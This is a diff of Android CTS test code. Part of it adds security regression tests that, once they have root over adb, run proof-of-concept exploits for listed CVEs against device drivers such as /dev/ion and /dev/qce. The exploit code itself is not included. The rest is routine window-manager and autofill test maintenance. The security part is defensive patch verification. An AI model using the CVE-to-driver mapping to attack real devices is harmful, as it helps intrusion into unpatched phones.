+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_02 extends SecurityTestCase {
+
+ /**
+ * b/31796345
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0451() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/dev/voice_svc")) {
+ AdbUtils.runPoc("CVE-2017-0451", getDevice(), 60);
+ }
+ }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_04.java b/hostsidetests/security/src/android/security/cts/Poc17_04.java
new file mode 100644
index 0000000..3a1e78e
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_04.java
@@ -0,0 +1,88 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+public class Poc17_04 extends SecurityTestCase {
+
+ /**
+ * b/33544431
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0576() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/dev/qce")) {
+ AdbUtils.runPoc("CVE-2017-0576", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/34325986
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0580() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/dev/touch_fwu")) {
+ AdbUtils.runPoc("CVE-2017-0580", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/33353601
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0462() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/dev/seemplog")) {
+ AdbUtils.runPoc("CVE-2017-0462", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/33842951
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0577() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/dev/touch_fwu")) {
+ AdbUtils.runPoc("CVE-2017-0577", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/33966912
+ */
+ @SecurityTest
+ public void testPocCVE_2016_10231() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
+ AdbUtils.runPoc("CVE-2016-10231", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/34276203
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0564() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/dev/ion")) {
+ AdbUtils.runPoc("CVE-2017-0564", getDevice(), 60);
+ }
+ }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_06.java b/hostsidetests/security/src/android/security/cts/Poc17_06.java
index 64bc70e..e08aa9e 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_06.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_06.java
@@ -31,4 +31,37 @@
AdbUtils.runPoc("Bug-34328139", getDevice(), 60);
}
}
+
+ /**
+ * b/33452365
+ */
+ @SecurityTest
+ public void testPocBug_33452365() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/dev/snd/pcmC0D16c")) {
+ AdbUtils.runPoc("Bug-33452365", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/34125463
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0579() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/dev/graphics/fb0")) {
+ AdbUtils.runPoc("CVE-2017-0579", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/33751424
+ */
+ @SecurityTest
+ public void testPocCVE_2017_7369() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
+ AdbUtils.runPoc("CVE-2017-7369", getDevice(), 60);
+ }
+ }
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivityWithSameAffinity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivityWithSameAffinity.java
index d835da7..db75deeb 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivityWithSameAffinity.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivityWithSameAffinity.java
@@ -16,6 +16,7 @@
package android.server.cts;
+import android.app.PictureInPictureParams;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
@@ -29,6 +30,8 @@
private static final String TAG = TestActivityWithSameAffinity.class.getSimpleName();
+ // Calls enterPictureInPicture() on creation
+ private static final String EXTRA_ENTER_PIP = "enter_pip";
// Starts the activity (component name) provided by the value at the end of onCreate
private static final String EXTRA_START_ACTIVITY = "start_activity";
// Finishes the activity at the end of onResume (after EXTRA_START_ACTIVITY is handled)
@@ -38,6 +41,11 @@
protected void onCreate(Bundle icicle) {
super.onCreate(icicle);
+ // Enter picture in picture if requested
+ if (getIntent().hasExtra(EXTRA_ENTER_PIP)) {
+ enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+ }
+
// Launch a new activity if requested
String launchActivityComponent = getIntent().getStringExtra(EXTRA_START_ACTIVITY);
if (launchActivityComponent != null) {
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
index d4a546b..8e65682 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
@@ -81,6 +81,7 @@
* Same as {@link #testConfigurationUpdatesWhenResizedFromFullscreen()} but resizing
* from docked state to fullscreen (reverse).
*/
+ @Presubmit
public void testConfigurationUpdatesWhenResizedFromDockedStack() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
index 01edfe7..55b41c8 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
@@ -943,7 +943,7 @@
// Launch a fullscreen activity which will launch a PiP activity in a new task with the same
// affinity
launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
- launchActivityInStack(PIP_ACTIVITY_WITH_SAME_AFFINITY, PINNED_STACK_ID);
+ launchActivity(PIP_ACTIVITY_WITH_SAME_AFFINITY);
assertPinnedStackExists();
// Launch the root activity again...
@@ -972,7 +972,7 @@
EXTRA_START_ACTIVITY, getActivityComponentName(TEST_ACTIVITY),
EXTRA_FINISH_SELF_ON_RESUME, "true");
mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
- launchActivityInStack(PIP_ACTIVITY_WITH_SAME_AFFINITY, PINNED_STACK_ID);
+ launchActivity(PIP_ACTIVITY_WITH_SAME_AFFINITY);
mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY_WITH_SAME_AFFINITY, PINNED_STACK_ID);
assertPinnedStackExists();
@@ -994,7 +994,8 @@
if (!supportsPip()) return;
// Launch an activity into the pinned stack with a fixed affinity
- launchActivityInStack(TEST_ACTIVITY_WITH_SAME_AFFINITY, PINNED_STACK_ID,
+ launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY,
+ EXTRA_ENTER_PIP, "true",
EXTRA_START_ACTIVITY, getActivityComponentName(PIP_ACTIVITY),
EXTRA_FINISH_SELF_ON_RESUME, "true");
mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java
index 7b366d4..63aa1ab 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java
@@ -16,6 +16,8 @@
package android.server.cts;
+import android.platform.test.annotations.Presubmit;
+
import static android.server.cts.WindowManagerState.TRANSIT_ACTIVITY_CLOSE;
import static android.server.cts.WindowManagerState.TRANSIT_ACTIVITY_OPEN;
import static android.server.cts.WindowManagerState.TRANSIT_TASK_CLOSE;
@@ -38,6 +40,7 @@
* Build: mmma -j32 cts/hostsidetests/services
* Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerTransitionSelectionTests
*/
+@Presubmit
public class ActivityManagerTransitionSelectionTests extends ActivityManagerTestBase {
private static final String BOTTOM_ACTIVITY_NAME = "BottomActivity";
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
index b1cf2a2..5b1935b 100644
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
+++ b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
@@ -121,7 +121,7 @@
static final String AM_MOVE_TASK = "am stack move-task ";
private static final String AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW =
- "am supports-split-screen-multiwindow";
+ "am supports-split-screen-multi-window";
private static final String AM_NO_HOME_SCREEN = "am no-home-screen";
private static final String INPUT_KEYEVENT_HOME = "input keyevent 3";
@@ -258,6 +258,7 @@
// Get the device, this gives a handle to run commands and install APKs.
mDevice = getDevice();
wakeUpAndUnlockDevice();
+ pressHomeButton();
// Remove special stacks.
removeStacks(ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN);
// Store rotation settings.
@@ -280,6 +281,7 @@
// Remove special stacks.
removeStacks(ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN);
wakeUpAndUnlockDevice();
+ pressHomeButton();
} catch (DeviceNotAvailableException e) {
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/CrossAppDragAndDropTests.java b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/CrossAppDragAndDropTests.java
index 6281e16..17ede35 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/CrossAppDragAndDropTests.java
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/CrossAppDragAndDropTests.java
@@ -102,7 +102,7 @@
private static final String RESULT_NULL_DROP_PERMISSIONS = "Null DragAndDropPermissions";
private static final String AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW =
- "am supports-split-screen-multiwindow";
+ "am supports-split-screen-multi-window";
private ITestDevice mDevice;
diff --git a/tests/acceleration/AndroidTest.xml b/tests/acceleration/AndroidTest.xml
index 9bf8136..60e4bae 100644
--- a/tests/acceleration/AndroidTest.xml
+++ b/tests/acceleration/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS Acceleration test cases">
+ <option name="config-descriptor:metadata" key="component" value="framework" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAccelerationTestCases.apk" />
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
index 9c22cc4..dbf393b 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
@@ -24,8 +24,8 @@
import android.accessibilityservice.AccessibilityService;
import android.accessibilityservice.GestureDescription;
import android.accessibilityservice.GestureDescription.StrokeDescription;
+import android.content.Context;
import android.content.pm.PackageManager;
-import android.content.res.Resources;
import android.graphics.Matrix;
import android.graphics.Path;
import android.graphics.Point;
@@ -38,6 +38,7 @@
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewConfiguration;
+import android.view.WindowManager;
import android.widget.TextView;
import org.hamcrest.Description;
import org.hamcrest.Matcher;
@@ -300,8 +301,10 @@
return;
}
- final Resources res = getInstrumentation().getTargetContext().getResources();
- final DisplayMetrics metrics = res.getDisplayMetrics();
+ final WindowManager wm = (WindowManager) getInstrumentation().getContext().getSystemService(
+ Context.WINDOW_SERVICE);
+ final DisplayMetrics metrics = new DisplayMetrics();
+ wm.getDefaultDisplay().getMetrics(metrics);
final float centerX = metrics.widthPixels / 2;
final float centerY = metrics.heightPixels / 2;
final PointF clickPoint = new PointF(
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
index fd4ac47..791479e 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
@@ -20,11 +20,12 @@
import android.accessibilityservice.AccessibilityService.MagnificationController.OnMagnificationChangedListener;
import android.accessibilityservice.AccessibilityServiceInfo;
import android.app.Instrumentation;
-import android.content.res.Resources;
+import android.content.Context;
import android.graphics.Region;
import android.provider.Settings;
import android.test.InstrumentationTestCase;
import android.util.DisplayMetrics;
+import android.view.WindowManager;
import java.util.concurrent.atomic.AtomicBoolean;
@@ -82,8 +83,10 @@
public void testSetScaleAndCenter() {
final MagnificationController controller = mService.getMagnificationController();
- final Resources res = mInstrumentation.getTargetContext().getResources();
- final DisplayMetrics metrics = res.getDisplayMetrics();
+ final WindowManager wm = (WindowManager) mInstrumentation.getContext().getSystemService(
+ Context.WINDOW_SERVICE);
+ final DisplayMetrics metrics = new DisplayMetrics();
+ wm.getDefaultDisplay().getMetrics(metrics);
final float scale = 2.0f;
final float x = metrics.widthPixels / 4.0f;
final float y = metrics.heightPixels / 4.0f;
diff --git a/tests/app/src/android/app/cts/AspectRatioTests.java b/tests/app/src/android/app/cts/AspectRatioTests.java
index d86df32..5bd8cf9 100644
--- a/tests/app/src/android/app/cts/AspectRatioTests.java
+++ b/tests/app/src/android/app/cts/AspectRatioTests.java
@@ -50,7 +50,6 @@
* Build: mmma -j32 cts/tests/app
* Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsAppTestCases android.app.cts.AspectRatioTests
*/
-@Presubmit
@RunWith(AndroidJUnit4.class)
public class AspectRatioTests {
private static final String TAG = "AspectRatioTests";
@@ -106,6 +105,7 @@
}
@Test
+ @Presubmit
public void testDeviceAspectRatio() throws Exception {
final Context context = InstrumentationRegistry.getInstrumentation().getContext();
final WindowManager wm = (WindowManager) context.getSystemService(WINDOW_SERVICE);
@@ -126,6 +126,7 @@
}
@Test
+ @Presubmit
public void testMaxAspectRatio() throws Exception {
runTest(launchActivity(mMaxAspectRatioActivity),
actual -> {
@@ -135,6 +136,7 @@
}
@Test
+ // TODO: Currently 10% flaky so not part of pre-submit for now
public void testMaxAspectRatioResizeableActivity() throws Exception {
final Context context = InstrumentationRegistry.getInstrumentation().getContext();
final float expected = getAspectRatio(context);
@@ -148,6 +150,7 @@
}
@Test
+ @Presubmit
public void testMaxAspectRatioUnsetActivity() throws Exception {
final Context context = InstrumentationRegistry.getInstrumentation().getContext();
final float expected = getAspectRatio(context);
diff --git a/tests/app/src/android/app/cts/DisplayTest.java b/tests/app/src/android/app/cts/DisplayTest.java
index 079a0b9..e3ce544 100644
--- a/tests/app/src/android/app/cts/DisplayTest.java
+++ b/tests/app/src/android/app/cts/DisplayTest.java
@@ -60,12 +60,15 @@
// Get a {@link Display} instance after rotation.
final Display updatedDisplay = mActivity.getDisplay();
- // Ensure that the width and height of the original instance no longer are the same. Note
- // that this will be false if the device width and height are identical.
- assertFalse("width from original display instance should have changed",
- origWidth == origDisplay.getWidth());
- assertFalse("height from original display instance should have changed",
- origHeight == origDisplay.getHeight());
+ // For square sreens the following assertions do not make sense and will always fail.
+ if (origWidth != origHeight) {
+ // Ensure that the width and height of the original instance no longer are the same. Note
+ // that this will be false if the device width and height are identical.
+ assertFalse("width from original display instance should have changed",
+ origWidth == origDisplay.getWidth());
+ assertFalse("height from original display instance should have changed",
+ origHeight == origDisplay.getHeight());
+ }
// Ensure that the width and height of the original instance have been updated to match the
// values that would be found in a new instance.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
index 3e2f207..56ae652 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
@@ -18,6 +18,7 @@
import static com.google.common.truth.Truth.assertWithMessage;
+import android.app.Activity;
import android.app.PendingIntent;
import android.app.assist.AssistStructure;
import android.autofillservice.cts.CannedFillResponse.CannedDataset;
@@ -48,7 +49,13 @@
private static final SparseArray<CannedFillResponse> sResponses = new SparseArray<>();
private static final ArrayList<PendingIntent> sPendingIntents = new ArrayList<>();
+ private static Object sLock = new Object();
+
+ // Guarded by sLock
+ private static int sResultCode;
+
static void resetStaticState() {
+ setResultCode(RESULT_OK);
sDatasets.clear();
sResponses.clear();
for (int i = 0; i < sPendingIntents.size(); i++) {
@@ -104,6 +111,16 @@
return data;
}
+ /**
+ * Sets the value that's passed to {@link Activity#setResult(int, Intent)} when on
+ * {@link Activity#onCreate(Bundle)}.
+ */
+ public static void setResultCode(int resultCode) {
+ synchronized (sLock) {
+ sResultCode = resultCode;
+ }
+ }
+
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
@@ -133,7 +150,12 @@
// Pass on the auth result
final Intent intent = new Intent();
intent.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT, result);
- setResult(RESULT_OK, intent);
+ final int resultCode;
+ synchronized (sLock) {
+ resultCode = sResultCode;
+ }
+ Log.d(TAG, "Returning code " + resultCode);
+ setResult(resultCode, intent);
// Done
finish();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
index 4bf751e..4b1f83e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
@@ -41,6 +41,20 @@
import org.junit.Rule;
import org.junit.Test;
+/*
+ * TODO: refactor this class.
+ *
+ * It has 2 types of tests:
+ * 1. unit tests that asserts AutofillValue methods
+ * 2. integrationg tests that uses a the InstrumentedAutofillService
+ *
+ * The unit tests (createXxxx*() should either be moved to the CtsViewTestCases module or to a
+ * class that does not need to extend AutoFillServiceTestCase.
+ *
+ * Most integration tests overlap the tests on CheckoutActivityTest - we should remove the
+ * redundant tests and add more tests (like triggering autofill using different views) to
+ * CheckoutActivityTest.
+ */
public class AutofillValueTest extends AutoFillServiceTestCase {
@Rule
public final ActivityTestRule<AllAutofillableViewsActivity> mActivityRule =
@@ -145,25 +159,22 @@
}
/**
- * Trigger autofill on a view. This might have to be tried multiple times as the service might
- * not be completely initialized yet and therefor autofill is not enabled while the focus is
- * changed.
+ * Trigger autofill on a view.
*
* @param view The view to trigger the autofill on
*/
private void startAutoFill(@NonNull View view) throws Exception {
- eventually(() -> {
- mActivity.syncRunOnUiThread(() -> {
- view.clearFocus();
- view.requestFocus();
- });
+ mActivity.syncRunOnUiThread(() -> {
+ view.clearFocus();
+ view.requestFocus();
+ });
- try {
- sReplier.getNextFillRequest();
- } catch (InterruptedException e) {
- throw new RuntimeException(e);
- }
- }, (int) (FILL_TIMEOUT_MS * 3));
+ // NOTE: This method to require multiple attempts as the service could not be completely
+ // initialized yet (and therefore autofill would not enabled when the focus was changed),
+ // but now enableService() uses a Settings listener to wait until the setting is effect, so
+ // that flakiness should be gone if it still happens, then it could be fixed by calling
+ // InstrumentedAutoFillService.waitUntilConnected() here...
+ sReplier.getNextFillRequest();
}
private void autofillEditText(@Nullable AutofillValue value, String expectedText,
@@ -172,28 +183,27 @@
// Set service.
enableService();
- try {
- // Set expectations.
- sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField("editText",
- value).setPresentation(createPresentation("dataset")).build());
- OneTimeTextWatcher textWatcher = new OneTimeTextWatcher("editText", mEditText,
- expectedText);
- mEditText.addTextChangedListener(textWatcher);
- // Trigger autofill.
- startAutoFill(mEditText);
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+ .setField("editText", value)
+ .setPresentation(createPresentation("dataset"))
+ .build());
+ OneTimeTextWatcher textWatcher = new OneTimeTextWatcher("editText", mEditText,
+ expectedText);
+ mEditText.addTextChangedListener(textWatcher);
- // Autofill it.
- sUiBot.selectDataset("dataset");
+ // Trigger autofill.
+ startAutoFill(mEditText);
- if (expectAutoFill) {
- // Check the results.
- textWatcher.assertAutoFilled();
- } else {
- assertThat(mEditText.getText().toString()).isEqualTo(expectedText);
- }
- } finally {
- disableService();
+ // Autofill it.
+ sUiBot.selectDataset("dataset");
+
+ if (expectAutoFill) {
+ // Check the results.
+ textWatcher.assertAutoFilled();
+ } else {
+ assertThat(mEditText.getText().toString()).isEqualTo(expectedText);
}
}
@@ -227,28 +237,26 @@
// Set service.
enableService();
- try {
- // Set expectations.
- sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField(
- "compoundButton", value).setPresentation(
- createPresentation("dataset")).build());
- OneTimeCompoundButtonListener checkedWatcher = new OneTimeCompoundButtonListener(
- "compoundButton", mCompoundButton, expectedValue);
- mCompoundButton.setOnCheckedChangeListener(checkedWatcher);
- startAutoFill(mCompoundButton);
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+ .setField("compoundButton", value)
+ .setPresentation(createPresentation("dataset"))
+ .build());
+ OneTimeCompoundButtonListener checkedWatcher = new OneTimeCompoundButtonListener(
+ "compoundButton", mCompoundButton, expectedValue);
+ mCompoundButton.setOnCheckedChangeListener(checkedWatcher);
- // Autofill it.
- sUiBot.selectDataset("dataset");
+ startAutoFill(mCompoundButton);
- if (expectAutoFill) {
- // Check the results.
- checkedWatcher.assertAutoFilled();
- } else {
- assertThat(mCompoundButton.isChecked()).isEqualTo(expectedValue);
- }
- } finally {
- disableService();
+ // Autofill it.
+ sUiBot.selectDataset("dataset");
+
+ if (expectAutoFill) {
+ // Check the results.
+ checkedWatcher.assertAutoFilled();
+ } else {
+ assertThat(mCompoundButton.isChecked()).isEqualTo(expectedValue);
}
}
@@ -282,27 +290,26 @@
// Set service.
enableService();
- try {
- // Set expectations.
- sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField("spinner",
- value).setPresentation(createPresentation("dataset")).build());
- OneTimeSpinnerListener spinnerWatcher = new OneTimeSpinnerListener(
- "spinner", mSpinner, expectedValue);
- mSpinner.setOnItemSelectedListener(spinnerWatcher);
- startAutoFill(mSpinner);
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+ .setField("spinner", value)
+ .setPresentation(createPresentation("dataset"))
+ .build());
+ OneTimeSpinnerListener spinnerWatcher = new OneTimeSpinnerListener(
+ "spinner", mSpinner, expectedValue);
+ mSpinner.setOnItemSelectedListener(spinnerWatcher);
- // Autofill it.
- sUiBot.selectDataset("dataset");
+ startAutoFill(mSpinner);
- if (expectAutoFill) {
- // Check the results.
- spinnerWatcher.assertAutoFilled();
- } else {
- assertThat(mSpinner.getSelectedItemPosition()).isEqualTo(expectedValue);
- }
- } finally {
- disableService();
+ // Autofill it.
+ sUiBot.selectDataset("dataset");
+
+ if (expectAutoFill) {
+ // Check the results.
+ spinnerWatcher.assertAutoFilled();
+ } else {
+ assertThat(mSpinner.getSelectedItemPosition()).isEqualTo(expectedValue);
}
}
@@ -337,40 +344,40 @@
private void autofillDateValueToDatePicker(@Nullable AutofillValue value,
boolean expectAutoFill) throws Exception {
- mActivity.syncRunOnUiThread(() -> mEditText.setVisibility(View.VISIBLE));
- mActivity.syncRunOnUiThread(() -> mDatePicker.setVisibility(View.VISIBLE));
+ mActivity.syncRunOnUiThread(() -> {
+ mEditText.setVisibility(View.VISIBLE);
+ mDatePicker.setVisibility(View.VISIBLE);
+ });
// Set service.
enableService();
- try {
- // Set expectations.
- sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField(
- "datePicker", value).setField("editText",
- AutofillValue.forText("filled")).setPresentation(
- createPresentation("dataset")).build());
- OneTimeDateListener dateWatcher = new OneTimeDateListener("datePicker", mDatePicker,
- 2017, 3, 7);
- mDatePicker.setOnDateChangedListener(dateWatcher);
- int nonAutofilledYear = mDatePicker.getYear();
- int nonAutofilledMonth = mDatePicker.getMonth();
- int nonAutofilledDay = mDatePicker.getDayOfMonth();
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+ .setField("datePicker", value)
+ .setField("editText", "filled")
+ .setPresentation(createPresentation("dataset"))
+ .build());
+ OneTimeDateListener dateWatcher = new OneTimeDateListener("datePicker", mDatePicker,
+ 2017, 3, 7);
+ mDatePicker.setOnDateChangedListener(dateWatcher);
- // Trigger autofill.
- startAutoFill(mEditText);
+ int nonAutofilledYear = mDatePicker.getYear();
+ int nonAutofilledMonth = mDatePicker.getMonth();
+ int nonAutofilledDay = mDatePicker.getDayOfMonth();
- // Autofill it.
- sUiBot.selectDataset("dataset");
+ // Trigger autofill.
+ startAutoFill(mEditText);
- if (expectAutoFill) {
- // Check the results.
- dateWatcher.assertAutoFilled();
- } else {
- Helper.assertDateValue(mDatePicker, nonAutofilledYear, nonAutofilledMonth,
- nonAutofilledDay);
- }
- } finally {
- disableService();
+ // Autofill it.
+ sUiBot.selectDataset("dataset");
+
+ if (expectAutoFill) {
+ // Check the results.
+ dateWatcher.assertAutoFilled();
+ } else {
+ Helper.assertDateValue(mDatePicker, nonAutofilledYear, nonAutofilledMonth,
+ nonAutofilledDay);
}
}
@@ -406,39 +413,39 @@
private void autofillDateValueToTimePicker(@Nullable AutofillValue value,
boolean expectAutoFill) throws Exception {
- mActivity.syncRunOnUiThread(() -> mEditText.setVisibility(View.VISIBLE));
- mActivity.syncRunOnUiThread(() -> mTimePicker.setIs24HourView(true));
- mActivity.syncRunOnUiThread(() -> mTimePicker.setVisibility(View.VISIBLE));
+ mActivity.syncRunOnUiThread(() -> {
+ mEditText.setVisibility(View.VISIBLE);
+ mTimePicker.setIs24HourView(true);
+ mTimePicker.setVisibility(View.VISIBLE);
+ });
// Set service.
enableService();
- try {
- // Set expectations.
- sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField(
- "timePicker", value).setField("editText",
- AutofillValue.forText("filled")).setPresentation(
- createPresentation("dataset")).build());
- MultipleTimesTimeListener timeWatcher = new MultipleTimesTimeListener("timePicker", 2,
- mTimePicker, 12, 32);
- mTimePicker.setOnTimeChangedListener(timeWatcher);
- int nonAutofilledHour = mTimePicker.getHour();
- int nonAutofilledMinute = mTimePicker.getMinute();
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+ .setField("timePicker", value)
+ .setField("editText", "filled")
+ .setPresentation(createPresentation("dataset"))
+ .build());
+ MultipleTimesTimeListener timeWatcher = new MultipleTimesTimeListener("timePicker", 2,
+ mTimePicker, 12, 32);
+ mTimePicker.setOnTimeChangedListener(timeWatcher);
- // Trigger autofill.
- startAutoFill(mEditText);
+ int nonAutofilledHour = mTimePicker.getHour();
+ int nonAutofilledMinute = mTimePicker.getMinute();
- // Autofill it.
- sUiBot.selectDataset("dataset");
+ // Trigger autofill.
+ startAutoFill(mEditText);
- if (expectAutoFill) {
- // Check the results.
- timeWatcher.assertAutoFilled();
- } else {
- Helper.assertTimeValue(mTimePicker, nonAutofilledHour, nonAutofilledMinute);
- }
- } finally {
- disableService();
+ // Autofill it.
+ sUiBot.selectDataset("dataset");
+
+ if (expectAutoFill) {
+ // Check the results.
+ timeWatcher.assertAutoFilled();
+ } else {
+ Helper.assertTimeValue(mTimePicker, nonAutofilledHour, nonAutofilledMinute);
}
}
@@ -455,8 +462,10 @@
@Test
public void getTimePickerAutoFillValue() throws Exception {
- mActivity.syncRunOnUiThread(() -> mTimePicker.setHour(12));
- mActivity.syncRunOnUiThread(() -> mTimePicker.setMinute(32));
+ mActivity.syncRunOnUiThread(() -> {
+ mTimePicker.setHour(12);
+ mTimePicker.setMinute(32);
+ });
Helper.assertTimeValue(mTimePicker, 12, 32);
@@ -471,37 +480,35 @@
